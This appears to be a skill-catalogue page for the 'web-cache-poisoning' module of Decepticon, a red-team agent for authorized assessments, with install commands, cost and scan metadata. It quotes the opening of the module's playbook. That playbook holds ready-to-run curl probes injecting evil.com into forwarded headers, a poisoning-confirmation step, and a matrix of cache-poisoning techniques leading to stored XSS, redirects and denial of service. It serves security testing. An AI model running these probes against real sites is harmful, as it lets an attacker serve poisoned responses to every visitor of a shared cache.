Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill web-cache-poisoninggit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/web-cache-poisoning)<a href="https://agentmods.dev/skills/purpleailab/decepticon/web-cache-poisoning"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/web-cache-poisoning/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/purpleailab/decepticon/web-cache-poisoning"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/web-cache-poisoning.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector pass
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00056 | $0.01574 |
| Opus 5 | $0.00028 | $0.00787 |
| Sonnet 5 | $0.00011 | $0.00315 |
| Haiku 4.5 | $0.00006 | $0.00157 |
Grade A, and why
web-cache-poisoning scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 5d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -s -D- -o /dev/null "$URL?cb=$RANDOM" | grep -iE "age|x-cache|cf-cache-status|via" How it starts
The opening of the file, as written. The whole thing — 112 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Web Cache Poisoning Playbook
Distinct from cache deception (tricking the cache into storing a victim's private response). Here, the attacker poisons the shared cache so every subsequent visitor receives an attacker-controlled response. Impact ranges from defacement → reflected-XSS-as-stored → forced-redirect → DoS.
1. Detection — find unkeyed inputs
Definition: an unkeyed input is a header/parameter the cache ignores when building the cache key but the origin reflects into the response.
URL="https://<TARGET>/"
# (1) Cache-status fingerprint — must see HIT/MISS to know caching exists
curl -s -D- -o /dev/null "$URL?cb=$RANDOM" | grep -iE "age|x-cache|cf-cache-status|via"
# (2) Suspect headers — reflect into body or Location?
for H in "X-Forwarded-Host: evil.com" "X-Forwarded-Scheme: http" \
"X-Forwarded-Port: 8888" "X-Forwarded-For: evil.com" \
"X-Host: evil.com" "X-Original-URL: /admin" \
"X-Rewrite-URL: /admin" "X-Forwarded-Server: evil.com" \
"Forwarded: host=evil.com"; do
echo "== $H =="
curl -s "$URL?cb=$RANDOM" -H "$H" | grep -E "evil\.com|8888|/admin" | head -3
done
# (3) Confirm poisoning — same URL twice, second request WITHOUT the header
curl -s "$URL?poison=1" -H "X-Forwarded-Host: evil.com" -o /dev/null
curl -s "$URL?poison=1" | grep -E "evil\.com" # if present → poisoned
2. Misconfig / technique matrix
| Class | Trigger | Outcome |
|---|---|---|
| Standard unkeyed header | X-Forwarded-Host: evil.com reflected into <link rel=canonical> or absolute URLs |
stored open-redirect / XSS |
| Scheme downgrade | X-Forwarded-Scheme: http reflected |
force-HTTP cache → MITM |
| Port confusion | X-Forwarded-Port: 1 reflected into JS asset URLs |
broken site DoS |
| Routing override | X-Original-URL: /admin, X-Rewrite-URL |
cached admin page served to public |
| Fat GET | GET with a body parsed by origin but unkeyed by cache | inject params via body |
| Parameter cloaking | ?utm=x&utm=<payload> — cache normalizes, origin doesn't (or vice-versa) |
poisoned param survives |
| Key normalization flaw | cache lowercases path, origin doesn't (or strips ;jsessionid) |
desync key vs. response |
Cache-key injection via Vary gap |
response varies on header cache doesn't include | per-attacker poisoning |
| HTTP/0.9 / smuggling-assist | downstream cache stores smuggled response | mass poisoning |
| Cache-Control overlap | origin returns Cache-Control: private, CDN ignores it |
private response cached globally |
| Oversized-header DoS | huge unkeyed header → origin 400, CDN caches 400 | denial-of-service on the URL |
| 404 / error caching | error page cached with attacker payload reflected | DoS + stored XSS |
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 5d ago First seen · 112 lines · 56 tokens per session scan A ecfb25afc7d7
web-cache-poisoning is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,463 stars, last pushed 9d ago), licensed Apache-2.0. It adds 56 tokens to every session and 1,574 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
api-crud-generator
A code generator that creates standard Next.js API routes and an administration page from Prisma models. Prisma is a tool that describes and accesses an application’s database.
msbuild-antipatterns
Catalog of MSBuild anti-patterns with detection rules and fix recipes. Only activate in MSBuild/.NET build context. USE FOR: reviewing, auditing, or cleaning up .csproj, .vbproj, .fsproj, .props, .targets, or .proj files. Each anti-pattern has a symptom, explanation, and concrete BAD→GOOD transformation. Covers…
run-tests
Runs .NET tests with dotnet test. Use when user says "run tests", "run my tests", "run these tests", "execute tests", "dotnet test", "test filter", "filter by category", "filter by class", "combine filters", "run only specific tests", "integration tests", "unit tests", "tests not running", "hang timeout"…
fastapi
FastAPI best practices and conventions. Use when working with FastAPI APIs and Pydantic models for them. Keeps FastAPI code clean and up to date with the latest features and patterns, updated with new versions. Write new code or refactor and update old code.
dotnet-10-csharp-14
Use when building .NET 10 or C# 14 applications; when using minimal APIs, modular monolith patterns, or feature folders; when implementing HTTP resilience, Options pattern, Channels, or validation; when seeing outdated patterns like old extension method syntax.
optimizing-ef-core-queries
Optimize Entity Framework Core queries by fixing N+1 problems, choosing correct tracking modes, using compiled queries, and avoiding common performance traps. Use when EF Core queries are slow, generating excessive SQL, or causing high database load.